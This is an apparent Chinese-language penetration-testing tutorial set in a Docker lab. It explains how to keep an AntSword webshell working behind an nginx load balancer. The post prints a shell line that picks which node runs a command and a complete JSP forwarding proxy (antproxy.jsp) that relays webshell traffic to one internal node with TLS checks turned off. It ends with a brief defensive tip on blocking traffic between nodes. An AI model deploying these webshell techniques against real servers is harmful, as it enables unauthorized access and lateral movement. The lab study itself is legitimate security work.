负载均衡下的webshell上传

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

负载均衡下的webshell上传

1.应用场景

负载均衡作为现今解决web应用承载大流量访问问题的一种方案在真实环境中得到广泛的部署。实现负载均衡的方式有很多种比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

比如基于dns的负载均衡
在这里插入图片描述
当然还有nginx的经典的基于反向代理实现的负载均衡。用户在通过单一IP地址访问服务器时永远不会知道自己的处理服务器是那一台。对于这部分内容我在前面的《NGINX反向代理实现负载均衡》中有详细谈过它的分类以及配置方法。我们再来回顾以下nginx支持的负载均衡的方式

轮询默认方式
weight权重方式
ip_hash依据ip分配方式
least_conn最少连接方式
fair第三方响应时间方式
url_hash第三方依据URL分配方式

可以看到支持的负载均衡模式很多。无论时什么样的负载均衡模式都可以以这样的规则进行划分即是否可以确定地访问某一台固定的服务器。

为什么这样说呢因为在渗透测试的过程中有一个比较固定的思维就是所有的攻击都围绕着拿到webshell获取服务器权限而进行。不管是漏洞利用也好暴力破解也罢。都是为了拿到webshell提权渗透内网。整体的流程就是这样但是一旦遇到负载均衡隐藏掉后端真实服务器IP后就会出现一大堆的问题无法解决。本文就是要理清楚这样一种环境下上传webshell的思路。

2.面临的困难

总体来说面临着四个难点webshell上传命令执行工具投放内网渗透做隧道。下面我们用蚁剑作者提供的docker镜像来演示遇到的问题。

https://github.com/AntSwordProject/AntSword-Labs

在这里插入图片描述
下载后上传至服务器进行解压到指定目录下启动环境

[root@blackstone loadbalance-jsp]# pwd
/home/batman/AntSword-Labs-master/loadbalance/loadbalance-jsp
[root@blackstone loadbalance-jsp]# docker-compose up -d

我们查看它的compose文件可以看到
在这里插入图片描述
nginx的80端口被映射到主机的18080端口之上访问http://192.168.2.169:18080
就可以访问到我们的web服务了。Node1 和 Node2 均是 tomcat 8 在内网中开放了 8080 端口我们在外部是没法直接访问到的。

在这里插入图片描述

此时打开蚂蚁剑我们尝试连接先前在node12上均插入了的webshell

在这里插入图片描述
在这里插入图片描述
完了点击添加就正式连接到我们的webshell了。

2.1 shell文件上传问题

尝试多次刷新十分流畅

在这里插入图片描述

我们进入一个节点服务器尝试让webshell失效

[root@blackstone loadbalance-jsp]# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                   NAMES
c549f819e15e        nginx:1.17                 "nginx -g 'daemon of…"   36 minutes ago      Up 36 minutes       0.0.0.0:18080->80/tcp   loadbalance-jsp_nginx_1
bab0805650c1        loadbalance-jsp_lbsnode2   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode2_1
59bf661c6b83        loadbalance-jsp_lbsnode1   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode1_1
[root@blackstone loadbalance-jsp]# docker exec -it bab0805650c1  /bin/bash

root@bab0805650c1:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/37/map_files’: Operation not permitted
find: ‘/proc/41/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@bab0805650c1:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant

再次尝试刷新
在这里插入图片描述
看见了没闪红了其实是因为再次刷新的时候请求被解析到了这台修改过的节点服务器上因为上面并没有们上传上去的文件。故访问不到出现了404。故如何让我们的webshell均匀的出现在节服务器上是第一个问题。

2.2 命令执行时的漂移

对你没听错在这样的环境下我们发出去的webshell执行命令时会发生严重的漂移现象。你永远不知道命令在哪台服务器上执行。

假设我们解决了第一个难点webshell均匀的出现在了后端节点服务器上。

我们将先前失效的webshell复活

root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp

到命令执行界面尝试执行命令

在这里插入图片描述
执行查看IP地址的命令
在这里插入图片描述

看到了没这还是轮询状态下的IP变化一旦是权重模式再加上多台节点服务器。这个地址将变得无迹可寻。

2.3 大工具投放失败

当我们解决了上面两个难点想要进一步渗透时此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标所以尴尬的事情来了两台节点上各一半而且这一半到底是怎么组合的取决于 LBS 算法。也就是说我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。

2.4 内网穿透工具失效

由于目标机器不能出外网想进一步深入只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel可在这个场景下这些 tunnel 脚本全部都失灵了。

在这里插入图片描述

这里来一张regerg程序运行的大致原理图因为我们的节点服务器会不断变化这就导致攻击者和部署了regeorg的主机之间无法保持完整的连接很长时间。即使每个节点主机上同时搭载这样的软件。与攻击者的连接仍然混乱不堪。无法稳定的代理内网的流量到攻击者手上。所以这样的环境下要进行内网工具的部署同样是一个极大的难点。

在这里插入图片描述

3.一些解决方案

要解决第一个难点其实比较简单就一个词重复疯狂上传多次webshell肯定可以上传到所有的节点服务器上去。接下来我们得想办法解决剩下的难点。

3.1 关机

这个方案虽然看着是个方法但是实际环境中先不说权限够不够。就是够这样的操作也是十分危险的。虽然关闭节点服务器后节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大还要承担相应的法律责任。故不建议使用这种方法。

3.2 基于IP判断执行主机

要是在每一次执行命令前可以判断以下主机的IP地址那不就可以解决命令漂移问题了嘛。

这里需要用到一个shell

#执行命令前进行ip判断注意执行的命令写到then后else前即可。
if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi

比如像这样

root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
node1 i will execute command.\n=========\n
172.19.0.2
root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.3" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
other.tryagain

这样一来确实是能够保证执行的命令是在我们想要的机器上了可是这样执行命令不够丝滑。甚至其在蚁剑的中断内运行会出问题。在真机上测试正常。

这样的方案确实很麻烦并且并不能解决我们内网穿透的需求所以不推荐使用。

3.3 脚本实现web层的流量转发

没错我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口但是有人能访问呀除了 nginx 能访问之外LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。也就是说我们写入一个脚本判断流量的目的地址不是node1的话将流量中转给node1的ant.jsp即可。如此一来就可以建立攻击者和node1的稳定连接了。

图片

这是原作者的一张图我们分析以下请求。

1.连接请求到达nginx进行负载均衡的转发交由后端节点服务器处理
2.请求到达了节点1访问到antproxy.jsp文件将流量转发给172.23.0.2节点上的ant.jsp
3.请求到达节点2。访问节点2的antproxy.jsp文件同样将流量转发给172.23.0.2节点上的ant.jsp文件。建立通信。

如此一来就可以保证我们始终可以连接到节点1的ant.jsp文件建立稳定通信了。说干就干。

这是转发脚本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%		//注意这里的地址一定修改正确不同的环境内部使用的地址不一定一样
        String target = "http://172.19.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

3.3.1 创建antproxy.jsp脚本

修改转发地址转向目标 Node 的 内网IP的 目标脚本 访问地址。
在这里插入图片描述
在这里插入图片描述
注意
(1)不要使用上传功能会被分片无法传输
(2)一i的那个要多次保存保证所有的节点都部署上了我们的转发脚本

在这里插入图片描述

3.3.2 修改 Shell 配置

将 URL 部分填写为 antproxy.jsp 的地址其它配置不变

http://192.168.2.169:18080/antproxy.jsp

在这里插入图片描述

查看IP地址是否会继续漂移

在这里插入图片描述
显然此时我们的IP地址已经停止漂移了也就是说我们可以稳定的连接到节点服务器1上了。

4.总结

对于这一问题的思考也是有迹可循的。首先作为负载均衡相较于普通的服务结构其特点就是隐藏了真实服务的节点服务器。

之前我们上传webshell可以拆分为上传木马文件执行命令获取相关漏洞信息工具投放以提升权限获取密码部署穿透工具尝试攻击内网。

那么照着这个思路进行分析就行上传木马文件那必须要雨露均沾既然一次上传会出现漂移那就多传几次。第二个问题命令漂移这个可以通过判断IP的方式勉强解决其实还有更好的解决方案。第三和第四个问题就必须借助流量转发脚本实现节点服务器的IP地址固定。如此一来就可以彻底消除负载均衡的影响一切如同正常的webshell上传环境。

那么解决方案三其实有一个很致命的问题一旦内网节点服务器之间不互通彻底失效。也就是说我们从安全角度出发实现了负载均衡之后无特殊要求的话应尽量在节点服务器之间实现网络层的通信阻断。这样才能万无一失。

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: shell

“负载均衡下的webshell上传” 的相关文章

shell熟悉1年前 (2023-02-02)
PowerShell 学习笔记1年前 (2023-02-02)
Windows环境运行shell脚本1年前 (2023-02-02)
shell脚本基础1年前 (2023-02-05)
shell脚本基础1年前 (2023-02-06)
shell执行提示异常1年前 (2023-02-09)